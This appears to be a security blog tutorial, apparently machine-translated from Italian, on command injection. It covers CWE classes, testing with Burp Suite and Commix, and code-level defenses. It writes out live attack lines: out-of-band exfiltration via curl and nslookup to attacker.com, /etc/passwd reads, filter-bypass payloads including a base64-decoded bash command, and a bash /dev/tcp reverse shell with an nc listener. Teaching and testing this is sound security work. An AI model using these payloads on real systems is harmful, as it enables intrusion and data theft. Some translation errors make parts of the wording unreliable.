Command Injection: Payload, Bypass and How to Defend Yourself

Learn what Command Injection is, how it works, where it is found, and how to test for it with Burp Suite and Commix: blind techniques, OOB, filter bypass, and defense.
- Posted on 2026-10-02
- Reading time: 9 min
Command Injection: What It Is, How It Works, and How to Test It #
Command injection is a vulnerability that occurs when an application passes user-controlled input to a command interpreter—typically the operating system shell—without properly sanitizing it. The result can be the execution of arbitrary commands with the vulnerable process's privileges, with impacts ranging from simply reading data to compromising the server and any systems reachable from there.
In short: (In Italian only) Command injection allows you to execute unexpected commands on a system by exploiting input that the application passes to a shell without checking it. It is mostly found in features that call system tools (ping, DNS lookup, file conversion) and is tested with a harmless wildcard (
;,whoami) before moving on to more advanced techniques if the output is not visible.
Command Injection vs OS Command Injection vs Code Injection #
In common cybersecurity usage, "command injection" and "OS command injection" almost always mean the same thing—as confirmed by PortSwigger , which uses the two terms synonymously in its Web Security Academy. However, at the official classification level (MITRE CWE), a more precise hierarchy exists:
| Appointments | C.W.E. | What does it describe? |
|---|---|---|
| command injection | CWE-77 | The general category: input that alters a command executed by an interpreter, whatever that command may be. |
| OS Command Injection | CWE-78 | The specific case where the interpreter is the operating system shell (bash, cmd.exe) — the most common case ever |
| Argument Injection | CWE-88 | Child variant of CWE-78 (recognized as such in the OWASP Top 10 2025): input manipulates the arguments of a command instead of introducing a new one |
| Code Injection | CWE-94 | Distinct category: Input is interpreted as application language code (e.g. via eval()), not passed to a shell — even though the search volume for “code injection” is as high as that for “command injection,” the two problems should be tested and fixed differently |
In practice: when you hear the term "command injection" in a web context, in the vast majority of cases it refers to the injection of system commands — OS command injection. Code injection is a different problem, although sometimes the two techniques can be combined (a eval() vulnerable can in turn call a function that opens a shell).
This article covers the general concept, where it exists, how to test for it, and how to defend against it. For specific technical insights into Linux/Windows and advanced RCE techniques, see the dedicated guide to OS Command Injection . Command injection is part of the broader family of injection vulnerabilities—for an overview of how it fits into LDAP injection , XPath injection , and other categories, see the complete guide to web application attacks.
How It Works: The Mechanism #
The problem arises when server-side code constructs a command by concatenating strings with user input, rather than passing parameters in a structured way:
# Python - vulnerabile
os.system("ping -c 4 " + user_input)// PHP - vulnerabile
system("nslookup " . $_GET['host']);// Node.js - vulnerabile
exec("ping -c 4 " + req.query.host);Se user_input is not filtered, an attacker can close the intended command and add his own using shell wildcards:
| Metacharacter | Function | Example |
|---|---|---|
; | Command Separator (Linux) | 127.0.0.1; whoami |
&& | Execute the second command only if the first is successful | 127.0.0.1 && id |
|| | Execute the second command only if the first fails | 127.0.0.1 || id |
| | Pipe, passes output to the next command | 127.0.0.1 | id |
` ` | Command substitution | `whoami` |
$() | Command substitution (alternative) | $(whoami) |
%0a / \n | Newline separator on some parsers | 127.0.0.1%0aid |
& | Running in the background (Windows/Linux) | 127.0.0.1 & whoami |
Where to Find a Command Injection #
A red flag is any feature that, behind the scenes, calls a system program or command instead of handling everything internally within the application language. The features most at risk, in practice, are: network diagnostic tools (ping, traceroute, DNS lookup, whois—often exposed in admin panels), file conversion and processing (image/PDF conversion, thumbnail generation, compression/archiving), backup and system administration , and in general any function that "calls" an external program instead of using a native library. The more an application is designed to do "system" things—a server management panel, an internal monitoring tool—the more likely you are to encounter it.
Which Inputs Can Be Vulnerable? #
Not just GET/POST parameters visible in the URL or a form: HTTP headers , cookies , uploaded file names , the JSON body of an API request, and in general any data the user controls, even indirectly, can reach a vulnerable system call. When testing, it's worth considering every input point, not just the most obvious ones—a file name chosen by the user during an upload, for example, is an often overlooked vector.
Command Injection and Argument Injection #
According to the same OWASP Cheat Sheet Series, every OS command injection is also, technically, a case of argument injection — they are not two alternative categories, but two ways of looking at the same problem with different levels of detail. The practical difference arises when you think about defense: if you apply a shell wildcard escape (blocking ;, &&, |) but the invoked program remains the same, user-controlled input may still end up as topic of that program, and not all arguments are innocuous.
Concrete example: an application runs curl with a user-supplied URL after properly parsing shell metacharacters. If the accepted input is --help instead of a URL, curl interprets it as its own flag instead of an address—the attacker hasn't introduced a new command, he's manipulated the arguments of the existing one. Depending on the program and the available options, such an argument injection can remain harmless or lead to RCE (some tools accept flags that read or write arbitrary files). This is why escaping only shell wildcards (escapeshellarg() in PHP, for example) reduces but does not eliminate the attack surface.
Types of Command Injection #
Classic (direct). The injected command's output is visible directly in the application's response—the easiest case to detect and exploit.
Blind. The application doesn't return command output, but the server's behavior changes observably. The standard technique is time-based : you inject a command that introduces a measurable delay, and infer the success of the execution from the response time.
# Time-based, Linux
127.0.0.1; sleep 10
127.0.0.1 && ping -c 10 127.0.0.1
# Time-based, Windows
127.0.0.1 & timeout 10Out-of-Band (OOB). When even the timing is unobservable (rate limiting, application timeouts), exfiltration occurs through a separate channel—typically DNS or HTTP—to a server controlled by the attacker.
127.0.0.1; curl http://attacker.com/$(whoami)
127.0.0.1; nslookup $(whoami).attacker.comThis technique is valuable in environments with filtered output and no observable delay: a tool like Burp Collaborator , or a simple DNS/HTTP listener of your own, captures the outgoing request and confirms execution.
Command Injection for Language and Context #
Every language has its own “dangerous” features to look for during a code review or black-box test:
| Language | Risky functions (OS command injection) | Test payload |
|---|---|---|
| PHP | system(), exec(), shell_exec(), passthru(), `backtick` | ; id, | cat /etc/passwd |
| Python | os.system(), subprocess with shell=True | ; id, && id |
| Node.js/JavaScript | child_process.exec() / execSync() (not execFile()) | ; id, `id` |
| Java | Runtime.exec() with concatenated string (not array overload) | ; id, && id |
| . NET | Process.Start() with arguments built by concatenation | & whoami, && whoami |
Indirect vectors to know. The path to command execution does not always pass through one of these directly called functions. A SQL injection that reaches xp_cmdshell (MSSQL) or a MySQL system UDF degenerates Executing commands once access is gained—there's still SQL injection at the root, not a "pure" command injection from the start, but the end result is the same. Similarly, a parser that passes the contents of a file or field to an external command (image conversion, metadata processing) can introduce command injection without the code containing any of the functions listed above—which is why code review alone isn't always enough; you also need to test the application's actual behavior.
How to Test for a Command Injection #
- Identify candidate parameters: Fields that invoke network or system functionality (ping, traceroute, DNS lookup, file conversion, PDF/image generation) are prime suspects.
- Inject a harmless metacharacter (
;,&&,|) followed by a command that doesn't harm anything but is easily verifiable, likewhoamioid. - If the output is not visible, switch to a time-based test with
sleep/timeoutand measures the difference in latency compared to a baseline request. - Even if timing is not observable, try OOB with a DNS or HTTP listener under your control.
- Confirm and document: once it gets executed, check the user context (
id/whoami) to understand the level of impact before proceeding with any post-exploitation.
Manual Testing with Burp Suite #
Before automating, it's worth understanding the manual flow with Burp Suite — that's what you'll use anyway to confirm or investigate a questionable case:
- Intercept the request which calls the suspicious functionality (e.g.
GET /ping?host=127.0.0.1). - Send the request to Repeater and set a baseline: what is the normal response, how long does it take.
- Change the parameter adding a separator and a harmless command:
host=127.0.0.1;whoami(o&&whoami,|whoamidepending on the context). - Compare result and timing with the baseline: a different output (the username instead of the ping response) confirms the direct injection; no visible difference but a delay with
sleepconfirm a blind.
Automate with Commix #
Commix automates the entire process above — identification of the vulnerable parameter, choice of technique (classic, time-based, OOB) and exploitation:
commix --url="http://10.10.10.50/ping.php?host=127.0.0.1" --batchFor cases where the vulnerability is reached via a POST parameter or requires authentication, Commix also supports requests saved by Burp Suite via the option --requestfile. For manual fuzzing with ffuf or Burp Intruder, the wordlist dedicated to command injection of SecLists is the standard starting point.
Command Injection and WAF #
When a WAF blocks the most common metacharacters, some often unfiltered variants include the use of ${IFS} Instead of spaces (Linux), concatenation of environment variables to reconstruct keyword-filtered commands, and encoding of the same metacharacters (URL encoding, double encoding). The bypass surface depends heavily on the specific configuration of the target WAF—there is no universal payload; it must be enumerated on a case-by-case basis. But the most important point is another: A WAF can help detect or slow down an attack, but it is not a remediation of the vulnerability.Protection must be built into the code—secure APIs, separation of commands and arguments, allowlists—because sooner or later a bypass will be found.
Advanced Filter Bypass #
In addition to encoding and ${IFS} Already seen, a series of more specific tricks come in handy when a filter blocks spaces, slashes or specific keywords:
Space Bypass (Besides ${IFS}):
cat${IFS}/etc/passwd
cat<>/etc/passwd # redirezione al posto dello spazio
X=$'cat\x20/etc/passwd'&&$X
{cat,/etc/passwd} # brace expansion, ogni elemento diventa un argomentoBypass blacklists on whole words (e.g. “cat”, “bash” blocked as a string):
c'a't /etc/passwd # quoting che la shell ignora ma rompe il match testuale
c""at /etc/passwd
w\ho\ami # backslash prima di una lettera, la shell lo rimuove
/bin/c?? # wildcard al posto dei caratteri bloccati — espande a /bin/cat se è l'unico matchBypass via variable concatenation (bypass regex-based filters on the entire command string):
a=l;b=s;$a$b # esegue "ls" senza che "ls" compaia mai come stringa letteraleOn Windows (cmd.exe), the caret ^ breaks keyword recognition similarly to Linux's backslash:
w^hoami
who^amiBypass via Base64 , useful when the filter accepts only alphanumeric characters and a few other symbols:
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bashThe actual payload (cat /etc/passwd) never appears in the cleartext in the request — only its encoding, decoded and executed server-side.
None of these bypasses are guaranteed: it depends on how the filter is implemented (blacklisting single characters, whole words, or more sophisticated regexes). The correct approach is to try them sequentially, not assume that a specific one will always work.
After Confirmation: Getting an Interactive Shell #
Once you've confirmed command execution, the typical next step is to turn it into an interactive shell instead of running commands one at a time. A Bash one-liner is often the fastest way:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1injected as command body (e.g. 127.0.0.1; bash -i >& /dev/tcp/10.10.14.5/4444 0>&1), with a listener listening on the attacker's machine (nc -lvnp 4444). On targets without Bash available, standard alternatives include one-liners in Python, Perl, or PHP depending on what is installed on the compromised system.
Impact of a Command Injection #
Command execution occurs with the privileges of the compromised process , not necessarily with administrator privileges: a web application running under a limited user gives the attacker only that limited access, at least as a starting point. From there, the typical impact includes reading files accessible to the account (often source code and configuration files with credentials), using those credentials to move to other connected systems, and—if the environment allows—escalation to higher privileges. The point to keep in mind: a command injection does not automatically equate to complete control of the server . How serious it is depends on the process's privileges, how isolated it is (container, sandboxed), and what else can be accessed from there.
How to Protect Yourself #
The strongest defense is structural, not a filter added later: avoid calling a shell altogether when possible, preferring native language APIs that accept arguments as arrays instead of concatenated strings (subprocess.run(["ping", "-c", "4", host]) in Python, no os.system()). When the shell is unavoidable, a allowlist of expected characters/patterns is much more robust than a wildcard blocklist—which almost always gets bypassed sooner or later. The principle of least privilege over the process executing the command ultimately limits the damage even when injection occurs anyway.
FAQ #
What is a command injection? A vulnerability that allows arbitrary commands to be executed on a system by exploiting unsanitized user input that reaches a command interpreter (system shell or dynamic language execution functions).
What is the difference between command injection and code injection? Command injection injects commands executed by a system shell; code injection injects code into the application's own language (via functions like eval()). These are technically distinct categories (CWE-78 versus CWE-94), although in common parlance you may hear them used interchangeably.
How do you detect blind command injection? By injecting commands that introduce a measurable delay (sleep, timeout) and observing the difference in response times compared to a normal request; if even the timing is not observable, we move on to out-of-band techniques via DNS or HTTP.
Does Commix work like sqlmap but for command injection? Yes, conceptually: it automates vulnerability detection and exploitation just as sqlmap does for SQL injection, supporting classic, time-based, and OOB techniques.
Does a WAF always block command injection? No: filters based on wildcard blocklists are frequently circumvented with encodings, environment variables, or alternative characters such as ${IFS} — which is why a WAF is no substitute for programmatic remediation.
Can command injection lead to Remote Code Execution (RCE)? Yes: when it allows a remote attacker to execute arbitrary commands, the impact is classified as RCE. The actual level of compromise, however, depends on the privileges of the vulnerable process and the isolation controls in place on the system.
Does command injection work on both Linux and Windows? Yes, with different syntax: on Linux the typical separators are ;, &&, |; on Windows they are used &, &&, | with cmd.exe, or the PowerShell equivalent with ; as a pipeline separator.
What is the difference between command injection and SQL injection? Command injection exploits a system command interpreter; SQL injection exploits a database. They can meet: a SQL injection that reaches xp_cmdshell degenerates into execution of system commands.
Which PHP functions can cause command injection? Mainly system(), exec(), shell_exec(), passthru() and the backtick operator — all functions that pass a string to a shell.
Does Burp Suite automatically detect command injection? Burp Suite Pro's scanner can flag it in many cases, but more complex blind and OOB attacks often require manual confirmation or a dedicated tool like Commix.
How do you bypass a space-blocking filter? With alternatives like ${IFS}, the redirection <>, the brace expansion ({cat,/etc/passwd}) or an escape character that the shell removes but which breaks the filter's pattern matching.
What do you do after confirming a command injection? Typically you switch from single commands to an interactive shell, such as with a Bash one-liner (bash -i >& /dev/tcp/IP/PORTA 0>&1) and a listening listener, so that we can continue enumerating the system more efficiently.








